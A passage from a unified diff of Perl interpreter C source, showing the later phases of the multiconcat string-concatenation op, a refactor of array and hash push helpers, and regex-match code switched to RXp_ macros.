+     * Phase 4:
+     *
+     * Now that targ has been grown, we know the final address of the targ
+     * PVX, if needed. Preserve / move targ contents if appending or if
+     * targ appears on RHS.
+     *
+     * Also update svpv_buf slots in targ_chain.
+     *
+     * Don't bother with any of this if the target length is zero:
+     * targ_len is set to zero unless we're appending or targ appears on
+     * RHS.  And even if it is, we can optimise by skipping this chunk of
+     * code for zero targ_len. In the latter case, we don't need to update
+     * the slots in targ_chain with the (zero length) target string, since
+     * we set the len in such slots to 0 earlier, and since the Copy() is
+     * skipped on zero length, it doesn't matter what svpv_p->pv contains.
+     *
+     * On entry to this section the (pv,len) pairs in svpv_buf have the
+     * following meanings:
+     *    (pv,  len)         a pure-plain or utf8 string
+     *    (pv, -(len+extra)) a plain string which will expand by 'extra'
+     *                         bytes when converted to utf8
+     *    (NULL,  0)         left-most targ \ linked together R-to-L
+     *    (next,  0)         other targ     / in targ_chain
+     *
+     * On exit, the targ contents will have been moved to the
+     * earliest place they are needed (e.g. $x = "abc$x" will shift them
+     * 3 bytes, while $x .= ... will leave them at the beginning);
+     * and dst_pv will point to the location within SvPVX(targ) where the
+     * next arg should be copied.
+     */
+
+    svpv_base = svpv_buf;
+
+    if (targ_len) {
+        struct multiconcat_svpv *tc_stop;
+        char *targ_buf = targ_pv; /* ptr to original targ string */
+
+        assert(is_append || targ_count);
+
+        if (is_append) {
+            targ_pv += targ_len;
+            tc_stop = NULL;
+        }
+        else {
+            /* The targ appears on RHS, e.g. '$t = $a . $t . $t'.
+             * Move the current contents of targ to the first
+             * position where it's needed, and use that as the src buffer
+             * for any further uses (such as the second RHS $t above).
+             * In calculating the first position, we need to sum the
+             * lengths of all consts and args before that.
+             */
+
+            UNOP_AUX_item *lens = const_lens;
+                                /* length of first const string segment */
+            STRLEN offset       = lens->ssize > 0 ? lens->ssize : 0;
+
+            assert(targ_chain);
+            svpv_p = svpv_base;
+
+            for (;;) {
+                SSize_t len;
+                if (!svpv_p->pv)
+                    break; /* the first targ argument */
+                /* add lengths of the next arg and const string segment */
+                len = svpv_p->len;
+                if (len < 0)  /* variant args have this */
+                    len = -len;
+                offset += (STRLEN)len;
+                len = (++lens)->ssize;
+                offset += (len >= 0) ? (STRLEN)len : 0;
+                if (!offset) {
+                    /* all args and consts so far are empty; update
+                     * the start position for the concat later */
+                    svpv_base++;
+                    const_lens++;
+                }
+                svpv_p++;
+                assert(svpv_p < svpv_end);
+            }
+
+            if (offset) {
+                targ_buf += offset;
+                Move(targ_pv, targ_buf, targ_len, char);
+                /* a negative length implies don't Copy(), but do increment */
+                svpv_p->len = -((SSize_t)targ_len);
+                slow_concat = TRUE;
+            }
+            else {
+                /* skip the first targ copy */
+                svpv_base++;
+                const_lens++;
+                targ_pv += targ_len;
+            }
+
+            /* Don't populate the first targ slot in the loop below; it's
+             * either not used because we advanced svpv_base beyond it, or
+             * we already stored the special -targ_len value in it
+             */
+            tc_stop = svpv_p;
+        }
+
+        /* populate slots in svpv_buf representing targ on RHS */
+        while (targ_chain != tc_stop) {
+            struct multiconcat_svpv *p = targ_chain;
+            targ_chain = (struct multiconcat_svpv *)(p->pv);
+            p->pv  = targ_buf;
+            p->len = (SSize_t)targ_len;
+        }
+    }
+
+
+    /* --------------------------------------------------------------
+     * Phase 5:
+     *
+     * Append all the args in svpv_buf, plus the const strings, to targ.
+     *
+     * On entry to this section the (pv,len) pairs in svpv_buf have the
+     * following meanings:
+     *    (pv,  len)         a pure-plain or utf8 string (which may be targ)
+     *    (pv, -(len+extra)) a plain string which will expand by 'extra'
+     *                         bytes when converted to utf8
+     *    (0,  -len)         left-most targ, whose content has already
+     *                         been copied. Just advance targ_pv by len.
+     */
+
+    /* If there are no constant strings and no special case args
+     * (svpv_p->len < 0), use a simpler, more efficient concat loop
+     */
+    if (!slow_concat) {
+        for (svpv_p = svpv_base; svpv_p < svpv_end; svpv_p++) {
+            SSize_t len = svpv_p->len;
+            if (!len)
+                continue;
+            Copy(svpv_p->pv, targ_pv, len, char);
+            targ_pv += len;
+        }
+        const_lens += (svpv_end - svpv_base + 1);
+    }
+    else {
+        /* Note that we iterate the loop nargs+1 times: to append nargs
+         * arguments and nargs+1 constant strings. For example, "-$a-$b-"
+         */
+        svpv_p = svpv_base - 1;
+
+        for (;;) {
+            SSize_t len = (const_lens++)->ssize;
+
+            /* append next const string segment */
+            if (len > 0) {
+                Copy(const_pv, targ_pv, len, char);
+                targ_pv   += len;
+                const_pv += len;
+            }
+
+            if (++svpv_p == svpv_end)
+                break;
+
+            /* append next arg */
+            len = svpv_p->len;
+
+            if (LIKELY(len > 0)) {
+                Copy(svpv_p->pv, targ_pv, len, char);
+                targ_pv += len;
+            }
+            else if (UNLIKELY(len < 0)) {
+                /* negative length indicates two special cases */
+                const char *p = svpv_p->pv;
+                len = -len;
+                if (UNLIKELY(p)) {
+                    /* copy plain-but-variant pv to a utf8 targ */
+                    char * end_pv = targ_pv + len;
+                    assert(dst_utf8);
+                    while (targ_pv < end_pv) {
+                        U8 c = (U8) *p++;
+                        append_utf8_from_native_byte(c, (U8**)&targ_pv);
+                    }
+                }
+                else
+                    /* arg is already-copied targ */
+                    targ_pv += len;
+            }
+
+        }
+    }
+
+    *targ_pv = '\0';
+    SvCUR_set(targ, targ_pv - SvPVX(targ));
+    assert(grow >= SvCUR(targ) + 1);
+    assert(SvLEN(targ) >= SvCUR(targ) + 1);
+
+    /* --------------------------------------------------------------
+     * Phase 6:
+     *
+     * return result
+     */
+
+    SP -= stack_adj;
+    SvTAINT(targ);
+    SETTARG;
+    RETURN;
+
+    /* --------------------------------------------------------------
+     * Phase 7:
+     *
+     * We only get here if any of the args (or targ too in the case of
+     * append) have something which might cause side effects, such
+     * as magic, overload, or an undef value in the presence of warnings.
+     * In that case, any earlier attempt to stringify the args will have
+     * been abandoned, and we come here instead.
+     *
+     * Here, we concat each arg in turn the old-fashioned way: essentially
+     * emulating pp_concat() in a loop. This means that all the weird edge
+     * cases will be handled correctly, if not necessarily speedily.
+     *
+     * Note that some args may already have been stringified - those are
+     * processed again, which is safe, since only args without side-effects
+     * were stringified earlier.
+     */
+
+  do_magical:
+    {
+        SSize_t i, n;
+        SV *left = NULL;
+        SV *right;
+        SV* nexttarg;
+        bool nextappend;
+        U32 utf8 = 0;
+        SV **svp;
+        const char    *cpv  = aux[PERL_MULTICONCAT_IX_PLAIN_PV].pv;
+        UNOP_AUX_item *lens = aux + PERL_MULTICONCAT_IX_LENGTHS;
+        Size_t arg_count = 0; /* how many args have been processed */
+
+        if (!cpv) {
+            cpv = aux[PERL_MULTICONCAT_IX_UTF8_PV].pv;
+            utf8 = SVf_UTF8;
+        }
+
+        svp = toparg - nargs + 1;
+
+        /* iterate for:
+         *   nargs arguments,
+         *   plus possible nargs+1 consts,
+         *   plus, if appending, a final targ in an extra last iteration
+         */
+
+        n = nargs *2 + 1;
+        for (i = 0; i <= n; i++) {
+            SSize_t len;
+
+            /* if necessary, stringify the final RHS result in
+             * something like $targ .= "$a$b$c" - simulating
+             * pp_stringify
+             */
+            if (    i == n
+                && (PL_op->op_private &OPpMULTICONCAT_STRINGIFY)
+                && !(SvPOK(left))
+                /* extra conditions for backwards compatibility:
+                 * probably incorrect, but keep the existing behaviour
+                 * for now. The rules are:
+                 *     $x   = "$ov"     single arg: stringify;
+                 *     $x   = "$ov$y"   multiple args: don't stringify,
+                 *     $lex = "$ov$y$z" except TARGMY with at least 2 concats
+                 */
+                && (   arg_count == 1
+                    || (     arg_count >= 3
+                        && !is_append
+                        &&  (PL_op->op_private & OPpTARGET_MY)
+                        && !(PL_op->op_private & OPpLVAL_INTRO)
+                       )
+                   )
+            )
+            {
+                SV *tmp = sv_newmortal();
+                sv_copypv(tmp, left);
+                SvSETMAGIC(tmp);
+                left = tmp;
+            }
+
+            /* do one extra iteration to handle $targ in $targ .= ... */
+            if (i == n && !is_append)
+                break;
+
+            /* get the next arg SV or regen the next const SV */
+            len = lens[i >> 1].ssize;
+            if (i == n) {
+                /* handle the final targ .= (....) */
+                right = left;
+                left = targ;
+            }
+            else if (i & 1)
+                right = svp[(i >> 1)];
+            else if (len < 0)
+                continue; /* no const in this position */
+            else {
+                right = newSVpvn_flags(cpv, len, (utf8 | SVs_TEMP));
+                cpv += len;
+            }
+
+            arg_count++;
+
+            if (arg_count <= 1) {
+                left = right;
+                continue; /* need at least two SVs to concat together */
+            }
+
+            if (arg_count == 2 && i < n) {
+                /* for the first concat, create a mortal acting like the
+                 * padtmp from OP_CONST. In later iterations this will
+                 * be appended to */
+                nexttarg = sv_newmortal();
+                nextappend = FALSE;
+            }
+            else {
+                nexttarg = left;
+                nextappend = TRUE;
+            }
+
+            /* Handle possible overloading.
+             * This is basically an unrolled
+             *     tryAMAGICbin_MG(concat_amg, AMGf_assign);
+             * and
+             *     Perl_try_amagic_bin()
+             * call, but using left and right rather than SP[-1], SP[0],
+             * and not relying on OPf_STACKED implying .=
+             */
+
+            if ((SvFLAGS(left)|SvFLAGS(right)) & (SVf_ROK|SVs_GMG)) {
+                SvGETMAGIC(left);
+                if (left != right)
+                    SvGETMAGIC(right);
+
+                if ((SvAMAGIC(left) || SvAMAGIC(right))
+                    /* sprintf doesn't do concat overloading,
+                     * but allow for $x .= sprintf(...)
+                     */
+                    && (   !(PL_op->op_private & OPpMULTICONCAT_FAKE)
+                        || i == n)
+                    )
+                {
+                    SV * const tmpsv = amagic_call(left, right, concat_amg,
+                                                (nextappend ? AMGf_assign: 0));
+                    if (tmpsv) {
+                        /* NB: tryAMAGICbin_MG() includes an SvPADMY test
+                         * here, which isn;t needed as any implicit
+                         * assign does under OPpTARGET_MY is done after
+                         * this loop */
+                        if (nextappend) {
+                            sv_setsv(left, tmpsv);
+                            SvSETMAGIC(left);
+                        }
+                        else
+                            left = tmpsv;
+                        continue;
+                    }
+                }
+
+                /* if both args are the same magical value, make one a copy */
+                if (left == right && SvGMAGICAL(left)) {
+                    left = sv_newmortal();
+                    /* Print the uninitialized warning now, so it includes the
+                     * variable name. */
+                    if (!SvOK(right)) {
+                        if (ckWARN(WARN_UNINITIALIZED))
+                            report_uninit(right);
+                        sv_setsv_flags(left, &PL_sv_no, 0);
+                    }
+                    else
+                        sv_setsv_flags(left, right, 0);
+                    SvGETMAGIC(right);
+                }
+            }
+
+            /* nexttarg = left . right */
+            S_do_concat(aTHX_ left, right, nexttarg, 0);
+            left = nexttarg;
+        }
+
+        SP = toparg - stack_adj + 1;
+
+        /* Assign result of all RHS concats (left) to LHS (targ).
+         * If we are appending, targ will already have been appended to in
+         * the loop */
+        if (is_append)
+            SvTAINT(targ);
+        else {
+            sv_setsv(targ, left);
+            SvSETMAGIC(targ);
+        }
+        SETs(targ);
+        RETURN;
+    }
+}
+
+
 /* push the elements of av onto the stack.
- * XXX Note that padav has similar code but without the mg_get().
- * I suspect that the mg_get is no longer needed, but while padav
- * differs, it can't share this function */
+ * Returns PL_op->op_next to allow tail-call optimisation of its callers */
 
-STATIC void
+STATIC OP*
 S_pushav(pTHX_ AV* const av)
 {
     dSP;
@@ -335,21 +1125,27 @@
         PADOFFSET i;
         for (i=0; i < (PADOFFSET)maxarg; i++) {
             SV ** const svp = av_fetch(av, i, FALSE);
-            /* See note in pp_helem, and bug id #27839 */
-            SP[i+1] = svp
-                ? SvGMAGICAL(*svp) ? (mg_get(*svp), *svp) : *svp
-                : &PL_sv_undef;
+            SP[i+1] = LIKELY(svp)
+                       ? *svp
+                       : UNLIKELY(PL_op->op_flags & OPf_MOD)
+                          ? av_nonelem(av,i)
+                          : &PL_sv_undef;
         }
     }
     else {
         PADOFFSET i;
         for (i=0; i < (PADOFFSET)maxarg; i++) {
-            SV * const sv = AvARRAY(av)[i];
-            SP[i+1] = LIKELY(sv) ? sv : &PL_sv_undef;
+            SV *sv = AvARRAY(av)[i];
+	    SP[i+1] = LIKELY(sv)
+                       ? sv
+                       : UNLIKELY(PL_op->op_flags & OPf_MOD)
+                          ? av_nonelem(av,i)
+                          : &PL_sv_undef;
         }
     }
     SP += maxarg;
     PUTBACK;
+    return NORMAL;
 }
 
 
@@ -363,7 +1159,7 @@
     if (PL_op->op_flags & OPf_SPECIAL) {
         /* fake the RHS of my ($x,$y,..) = @_ */
         PUSHMARK(SP);
-        S_pushav(aTHX_ GvAVn(PL_defgv));
+        (void)S_pushav(aTHX_ GvAVn(PL_defgv));
         SPAGAIN;
     }
 
@@ -433,6 +1229,8 @@
 PP(pp_readline)
 {
     dSP;
+    /* pp_coreargs pushes a NULL to indicate no args passed to
+     * CORE::readline() */
     if (TOPs) {
 	SvGETMAGIC(TOPs);
 	tryAMAGICunTARGETlist(iter_amg, 0);
@@ -448,10 +1246,7 @@
 	    PUTBACK;
 	    Perl_pp_rv2gv(aTHX);
 	    PL_last_in_gv = MUTABLE_GV(*PL_stack_sp--);
-	    if (PL_last_in_gv == (GV *)&PL_sv_undef)
-		PL_last_in_gv = NULL;
-	    else
-		assert(isGV_with_GP(PL_last_in_gv));
+            assert((SV*)PL_last_in_gv == &PL_sv_undef || isGV_with_GP(PL_last_in_gv));
 	}
     }
     return do_readline();
@@ -521,8 +1316,10 @@
 PP(pp_or)
 {
     dSP;
+    SV *sv;
     PERL_ASYNC_CHECK();
-    if (SvTRUE(TOPs))
+    sv = TOPs;
+    if (SvTRUE_NN(sv))
 	RETURN;
     else {
 	if (PL_op->op_type == OP_OR)
@@ -962,6 +1759,171 @@
 }
 
 
+/* do the common parts of pp_padhv() and pp_rv2hv()
+ * It assumes the caller has done EXTEND(SP, 1) or equivalent.
+ * 'is_keys' indicates the OPpPADHV_ISKEYS/OPpRV2HV_ISKEYS flag is set.
+ * 'has_targ' indicates that the op has a target - this should
+ * be a compile-time constant so that the code can constant-folded as
+ * appropriate
+ * */
+
+PERL_STATIC_INLINE OP*
+S_padhv_rv2hv_common(pTHX_ HV *hv, U8 gimme, bool is_keys, bool has_targ)
+{
+    bool is_tied;
+    bool is_bool;
+    MAGIC *mg;
+    dSP;
+    IV  i;
+    SV *sv;
+
+    assert(PL_op->op_type == OP_PADHV || PL_op->op_type == OP_RV2HV);
+
+    if (gimme == G_ARRAY) {
+        hv_pushkv(hv, 3);
+        return NORMAL;
+    }
+
+    if (is_keys)
+        /* 'keys %h' masquerading as '%h': reset iterator */
+        (void)hv_iterinit(hv);
+
+    if (gimme == G_VOID)
+        return NORMAL;
+
+    is_bool = (     PL_op->op_private & OPpTRUEBOOL
+              || (  PL_op->op_private & OPpMAYBE_TRUEBOOL
+                  && block_gimme() == G_VOID));
+    is_tied = SvRMAGICAL(hv) && (mg = mg_find(MUTABLE_SV(hv), PERL_MAGIC_tied));
+
+    if (UNLIKELY(is_tied)) {
+        if (is_keys && !is_bool) {
+            i = 0;
+            while (hv_iternext(hv))
+                i++;
+            goto push_i;
+        }
+        else {
+            sv = magic_scalarpack(hv, mg);
+            goto push_sv;
+        }
+    }
+    else {
+        i = HvUSEDKEYS(hv);
+        if (is_bool) {
+            sv = i ? &PL_sv_yes : &PL_sv_zero;
+          push_sv:
+            PUSHs(sv);
+        }
+        else {
+          push_i:
+            if (has_targ) {
+                dTARGET;
+                PUSHi(i);
+            }
+            else
+#ifdef PERL_OP_PARENT
+            if (is_keys) {
+                /* parent op should be an unused OP_KEYS whose targ we can
+                 * use */
+                dTARG;
+                OP *k;
+
+                assert(!OpHAS_SIBLING(PL_op));
+                k = PL_op->op_sibparent;
+                assert(k->op_type == OP_KEYS);
+                TARG = PAD_SV(k->op_targ);
+                PUSHi(i);
+            }
+            else
+#endif
+                mPUSHi(i);
+        }
+    }
+
+    PUTBACK;
+    return NORMAL;
+}
+
+
+/* This is also called directly by pp_lvavref.  */
+PP(pp_padav)
+{
+    dSP; dTARGET;
+    U8 gimme;
+    assert(SvTYPE(TARG) == SVt_PVAV);
+    if (UNLIKELY( PL_op->op_private & OPpLVAL_INTRO ))
+	if (LIKELY( !(PL_op->op_private & OPpPAD_STATE) ))
+	    SAVECLEARSV(PAD_SVl(PL_op->op_targ));
+    EXTEND(SP, 1);
+
+    if (PL_op->op_flags & OPf_REF) {
+	PUSHs(TARG);
+	RETURN;
+    }
+    else if (PL_op->op_private & OPpMAYBE_LVSUB) {
+        const I32 flags = is_lvalue_sub();
+        if (flags && !(flags & OPpENTERSUB_INARGS)) {
+	    if (GIMME_V == G_SCALAR)
+                /* diag_listed_as: Can't return %s to lvalue scalar context */
+                Perl_croak(aTHX_ "Can't return array to lvalue scalar context");
+            PUSHs(TARG);
+            RETURN;
+       }
+    }
+
+    gimme = GIMME_V;
+    if (gimme == G_ARRAY)
+        return S_pushav(aTHX_ (AV*)TARG);
+
+    if (gimme == G_SCALAR) {
+	const SSize_t maxarg = AvFILL(MUTABLE_AV(TARG)) + 1;
+        if (!maxarg)
+            PUSHs(&PL_sv_zero);
+        else if (PL_op->op_private & OPpTRUEBOOL)
+            PUSHs(&PL_sv_yes);
+        else
+            mPUSHi(maxarg);
+    }
+    RETURN;
+}
+
+
+PP(pp_padhv)
+{
+    dSP; dTARGET;
+    U8 gimme;
+
+    assert(SvTYPE(TARG) == SVt_PVHV);
+    if (UNLIKELY( PL_op->op_private & OPpLVAL_INTRO ))
+	if (LIKELY( !(PL_op->op_private & OPpPAD_STATE) ))
+	    SAVECLEARSV(PAD_SVl(PL_op->op_targ));
+
+    EXTEND(SP, 1);
+
+    if (PL_op->op_flags & OPf_REF) {
+        PUSHs(TARG);
+	RETURN;
+    }
+    else if (PL_op->op_private & OPpMAYBE_LVSUB) {
+        const I32 flags = is_lvalue_sub();
+        if (flags && !(flags & OPpENTERSUB_INARGS)) {
+            if (GIMME_V == G_SCALAR)
+                /* diag_listed_as: Can't return %s to lvalue scalar context */
+                Perl_croak(aTHX_ "Can't return hash to lvalue scalar context");
+            PUSHs(TARG);
+            RETURN;
+        }
+    }
+
+    gimme = GIMME_V;
+
+    return S_padhv_rv2hv_common(aTHX_ (HV*)TARG, gimme,
+                        cBOOL(PL_op->op_private & OPpPADHV_ISKEYS),
+                        0 /* has_targ*/);
+}
+
+
 /* also used for: pp_rv2hv() */
 /* also called directly by pp_lvavref */
 
@@ -1020,35 +1982,29 @@
 
     if (is_pp_rv2av) {
 	AV *const av = MUTABLE_AV(sv);
-	/* The guts of pp_rv2av  */
+
 	if (gimme == G_ARRAY) {
             SP--;
             PUTBACK;
-            S_pushav(aTHX_ av);
-            SPAGAIN;
+            return S_pushav(aTHX_ av);
 	}
-	else if (gimme == G_SCALAR) {
-	    dTARGET;
+
+	if (gimme == G_SCALAR) {
 	    const SSize_t maxarg = AvFILL(av) + 1;
-	    SETi(maxarg);
+            if (PL_op->op_private & OPpTRUEBOOL)
+                SETs(maxarg ? &PL_sv_yes : &PL_sv_zero);
+            else {
+                dTARGET;
+                SETi(maxarg);
+            }
 	}
-    } else {
-	/* The guts of pp_rv2hv  */
-	if (gimme == G_ARRAY) { /* array wanted */
-	    *PL_stack_sp = sv;
-	    return Perl_do_kv(aTHX);
-	}
-	else if ((PL_op->op_private & OPpTRUEBOOL
-	      || (  PL_op->op_private & OPpMAYBE_TRUEBOOL
-		 && block_gimme() == G_VOID  ))
-	      && (!SvRMAGICAL(sv) || !mg_find(sv, PERL_MAGIC_tied)))
-	    SETs(HvUSEDKEYS(MUTABLE_HV(sv)) ? &PL_sv_yes : &PL_sv_no);
-	else if (gimme == G_SCALAR) {
-	    dTARG;
-	    TARG = Perl_hv_scalar(aTHX_ MUTABLE_HV(sv));
-	    SETTARG;
-	}
     }
+    else {
+        SP--; PUTBACK;
+        return S_padhv_rv2hv_common(aTHX_ (HV*)sv, gimme,
+                        cBOOL(PL_op->op_private & OPpRV2HV_ISKEYS),
+                        1 /* has_targ*/);
+    }
     RETURN;
 
  croak_cant_return:
@@ -1736,7 +2692,7 @@
                     if (UNLIKELY(ix >= PL_tmps_max))
                         /* speculatively grow enough to cover other
                          * possible refs */
-                        ix = tmps_grow_p(ix + (lastlelem - lelem));
+                         (void)tmps_grow_p(ix + (lastlelem - lelem));
                     PL_tmps_stack[ix] = ref;
                 }
 
@@ -1804,12 +2760,11 @@
                setresuid((PL_delaymagic & DM_RUID) ? PL_delaymagic_uid  : (Uid_t)-1,
                          (PL_delaymagic & DM_EUID) ? PL_delaymagic_euid : (Uid_t)-1,
                          (Uid_t)-1));
-#else
-#  ifdef HAS_SETREUID
+#elif defined(HAS_SETREUID)
             PERL_UNUSED_RESULT(
                 setreuid((PL_delaymagic & DM_RUID) ? PL_delaymagic_uid  : (Uid_t)-1,
                          (PL_delaymagic & DM_EUID) ? PL_delaymagic_euid : (Uid_t)-1));
-#  else
+#else
 #    ifdef HAS_SETRUID
 	    if ((PL_delaymagic & DM_UID) == DM_RUID) {
 		PERL_UNUSED_RESULT(setruid(PL_delaymagic_uid));
@@ -1827,7 +2782,6 @@
 		    DIE(aTHX_ "No setreuid available");
 		PERL_UNUSED_RESULT(PerlProc_setuid(PL_delaymagic_uid));
 	    }
-#  endif /* HAS_SETREUID */
 #endif /* HAS_SETRESUID */
 
 	    tmp_uid  = PerlProc_getuid();
@@ -1840,12 +2794,11 @@
                 setresgid((PL_delaymagic & DM_RGID) ? PL_delaymagic_gid  : (Gid_t)-1,
                           (PL_delaymagic & DM_EGID) ? PL_delaymagic_egid : (Gid_t)-1,
                           (Gid_t)-1));
-#else
-#  ifdef HAS_SETREGID
+#elif defined(HAS_SETREGID)
 	    PERL_UNUSED_RESULT(
                 setregid((PL_delaymagic & DM_RGID) ? PL_delaymagic_gid  : (Gid_t)-1,
                          (PL_delaymagic & DM_EGID) ? PL_delaymagic_egid : (Gid_t)-1));
-#  else
+#else
 #    ifdef HAS_SETRGID
 	    if ((PL_delaymagic & DM_GID) == DM_RGID) {
 		PERL_UNUSED_RESULT(setrgid(PL_delaymagic_gid));
@@ -1863,7 +2816,6 @@
 		    DIE(aTHX_ "No setregid available");
 		PERL_UNUSED_RESULT(PerlProc_setgid(PL_delaymagic_gid));
 	    }
-#  endif /* HAS_SETREGID */
 #endif /* HAS_SETRESGID */
 
 	    tmp_gid  = PerlProc_getgid();
@@ -1882,10 +2834,14 @@
     if (gimme == G_VOID)
 	SP = firstrelem - 1;
     else if (gimme == G_SCALAR) {
-	dTARGET;
 	SP = firstrelem;
         EXTEND(SP,1);
-	SETi(firstlelem - firstrelem);
+        if (PL_op->op_private & OPpASSIGN_TRUEBOOL)
+            SETs((firstlelem - firstrelem) ? &PL_sv_yes : &PL_sv_zero);
+        else {
+            dTARGET;
+            SETi(firstlelem - firstrelem);
+        }
     }
     else
         SP = relem - 1;
@@ -1898,7 +2854,8 @@
     dSP;
     PMOP * const pm = cPMOP;
     REGEXP * rx = PM_GETRE(pm);
-    SV * const pkg = rx ? CALLREG_PACKAGE(rx) : NULL;
+    regexp *prog = ReANY(rx);
+    SV * const pkg = RXp_ENGINE(prog)->qr_package(aTHX_ (rx));
     SV * const rv = sv_newmortal();
     CV **cvp;
     CV *cv;
@@ -1925,7 +2882,7 @@
 	(void)sv_bless(rv, stash);
     }
 
-    if (UNLIKELY(RX_ISTAINTED(rx))) {
+    if (UNLIKELY(RXp_ISTAINTED(prog))) {
         SvTAINTED_on(rv);
         SvTAINTED_on(SvRV(rv));
     }
@@ -1945,6 +2902,7 @@
     U8 r_flags = 0;
     const char *truebase;			/* Start of string  */
     REGEXP *rx = PM_GETRE(pm);
+    regexp *prog = ReANY(rx);
     bool rxtainted;
     const U8 gimme = GIMME_V;
     STRLEN len;
@@ -1954,10 +2912,12 @@
 
     if (PL_op->op_flags & OPf_STACKED)
 	TARG = POPs;
-    else if (ARGTARG)
-	GETTARGET;
     else {
-	TARG = DEFSV;
+        if (ARGTARG)
+            GETTARGET;
+        else {
+            TARG = DEFSV;
+        }
 	EXTEND(SP,1);
     }
 
@@ -1964,13 +2924,13 @@
     PUTBACK;				/* EVAL blocks need stack_sp. */
     /* Skip get-magic if this is a qr// clone, because regcomp has
        already done it. */
-    truebase = ReANY(rx)->mother_re
+    truebase = prog->mother_re
 	 ? SvPV_nomg_const(TARG, len)
 	 : SvPV_const(TARG, len);
     if (!truebase)
 	DIE(aTHX_ "panic: pp_match");
     strend = truebase + len;
-    rxtainted = (RX_ISTAINTED(rx) ||
+    rxtainted = (RXp_ISTAINTED(prog) ||
 		 (TAINT_get && (pm->op_pmflags & PMf_RETAINT)));
     TAINT_NOT;
 
@@ -1990,7 +2950,7 @@
     }
 
     /* handle the empty pattern */
-    if (!RX_PRELEN(rx) && PL_curpm && !ReANY(rx)->mother_re) {
+    if (!RX_PRELEN(rx) && PL_curpm && !prog->mother_re) {
         if (PL_curpm == PL_reg_curpm) {
             if (PL_curpm_under) {
                 if (PL_curpm_under == PL_reg_curpm) {
@@ -2003,12 +2963,13 @@
             pm = PL_curpm;
         }
         rx = PM_GETRE(pm);
+        prog = ReANY(rx);
     }
 
-    if (RX_MINLEN(rx) >= 0 && (STRLEN)RX_MINLEN(rx) > len) {
+    if (RXp_MINLEN(prog) >= 0 && (STRLEN)RXp_MINLEN(prog) > len) {
         DEBUG_r(PerlIO_printf(Perl_debug_log, "String shorter than min possible regex match (%"
                                               UVuf " < %" IVdf ")\n",
-                                              (UV)len, (IV)RX_MINLEN(rx)));
+                                              (UV)len, (IV)RXp_MINLEN(prog)));
 	goto nope;
     }
 
@@ -2024,9 +2985,9 @@
     }
 
 #ifdef PERL_SAWAMPERSAND
-    if (       RX_NPARENS(rx)
+    if (       RXp_NPARENS(prog)
             || PL_sawampersand
-            || (RX_EXTFLAGS(rx) & (RXf_EVAL_SEEN|RXf_PMf_KEEPCOPY))
+            || (RXp_EXTFLAGS(prog) & (RXf_EVAL_SEEN|RXf_PMf_KEEPCOPY))
             || (dynpm->op_pmflags & PMf_KEEPCOPY)
     )
 #endif
@@ -2064,8 +3025,8 @@
 #endif
 
     if (rxtainted)
-	RX_MATCH_TAINTED_on(rx);
-    TAINT_IF(RX_MATCH_TAINTED(rx));
+	RXp_MATCH_TAINTED_on(prog);
+    TAINT_IF(RXp_MATCH_TAINTED(prog));
 
     /* update pos */
 
@@ -2072,14 +3033,14 @@
     if (global && (gimme != G_ARRAY || (dynpm->op_pmflags & PMf_CONTINUE))) {
         if (!mg)
             mg = sv_magicext_mglob(TARG);
-        MgBYTEPOS_set(mg, TARG, truebase, RX_OFFS(rx)[0].end);
-        if (RX_ZERO_LEN(rx))
+        MgBYTEPOS_set(mg, TARG, truebase, RXp_OFFS(prog)[0].end);
+        if (RXp_ZERO_LEN(prog))
             mg->mg_flags |= MGf_MINMATCH;
         else
             mg->mg_flags &= ~MGf_MINMATCH;
     }
 
-    if ((!RX_NPARENS(rx) && !global) || gimme != G_ARRAY) {
+    if ((!RXp_NPARENS(prog) && !global) || gimme != G_ARRAY) {
 	LEAVE_SCOPE(oldsave);
 	RETPUSHYES;
     }
@@ -2087,7 +3048,7 @@
     /* push captures on stack */
 
     {
-	const I32 nparens = RX_NPARENS(rx);
+	const I32 nparens = RXp_NPARENS(prog);
 	I32 i = (global && !nparens) ? 1 : 0;
 
 	SPAGAIN;			/* EVAL blocks could move the stack. */
@@ -2095,17 +3056,20 @@
 	EXTEND_MORTAL(nparens + i);
 	for (i = !i; i <= nparens; i++) {
 	    PUSHs(sv_newmortal());
-	    if (LIKELY((RX_OFFS(rx)[i].start != -1)
-                     && RX_OFFS(rx)[i].end   != -1 ))
+	    if (LIKELY((RXp_OFFS(prog)[i].start != -1)
+                     && RXp_OFFS(prog)[i].end   != -1 ))
             {
-		const I32 len = RX_OFFS(rx)[i].end - RX_OFFS(rx)[i].start;
-		const char * const s = RX_OFFS(rx)[i].start + truebase;
-	        if (UNLIKELY(RX_OFFS(rx)[i].end < 0 || RX_OFFS(rx)[i].start < 0
-                        || len < 0 || len > strend - s))
+		const I32 len = RXp_OFFS(prog)[i].end - RXp_OFFS(prog)[i].start;
+		const char * const s = RXp_OFFS(prog)[i].start + truebase;
+	        if (UNLIKELY(  RXp_OFFS(prog)[i].end   < 0
+                            || RXp_OFFS(prog)[i].start < 0
+                            || len < 0
+                            || len > strend - s)
+                )
 		    DIE(aTHX_ "panic: pp_match start/end pointers, i=%ld, "
 			"start=%ld, end=%ld, s=%p, strend=%p, len=%" UVuf,
-			(long) i, (long) RX_OFFS(rx)[i].start,
-			(long)RX_OFFS(rx)[i].end, s, strend, (UV) len);
+			(long) i, (long) RXp_OFFS(prog)[i].start,
+			(long)RXp_OFFS(prog)[i].end, s, strend, (UV) len);
 		sv_setpvn(*SP, s, len);
 		if (DO_UTF8(TARG) && is_utf8_string((U8*)s, len))
 		    SvUTF8_on(*SP);
@@ -2112,8 +3076,8 @@
 	    }
 	}
 	if (global) {
-            curpos = (UV)RX_OFFS(rx)[0].end;
-	    had_zerolen = RX_ZERO_LEN(rx);
+            curpos = (UV)RXp_OFFS(prog)[0].end;
+	    had_zerolen = RXp_ZERO_LEN(prog);
 	    PUTBACK;			/* EVAL blocks may use stack */
 	    r_flags |= REXEC_IGNOREPOS | REXEC_NOT_FIRST;
 	    goto play_it_again;
@@ -2201,7 +3165,7 @@
 	if (gimme == G_SCALAR) {
 	    /* undef TARG, and push that undefined value */
 	    if (type != OP_RCATLINE) {
-		sv_setsv(TARG,NULL);
+		sv_set_undef(TARG);
 	    }
 	    PUSHTARG;
 	}
@@ -2393,7 +3357,7 @@
 	    RETURN;
 	}
 	if (localizing) {
-	    if (HvNAME_get(hv) && isGV(*svp))
+	    if (HvNAME_get(hv) && isGV_or_RVCV(*svp))
 		save_gp(MUTABLE_GV(*svp), !(PL_op->op_flags & OPf_SPECIAL));
 	    else if (preeminent)
 		save_helem_flags(hv, keysv, svp,
@@ -2627,13 +3591,19 @@
                             if (!defer)
                                 DIE(aTHX_ PL_no_aelem, elem);
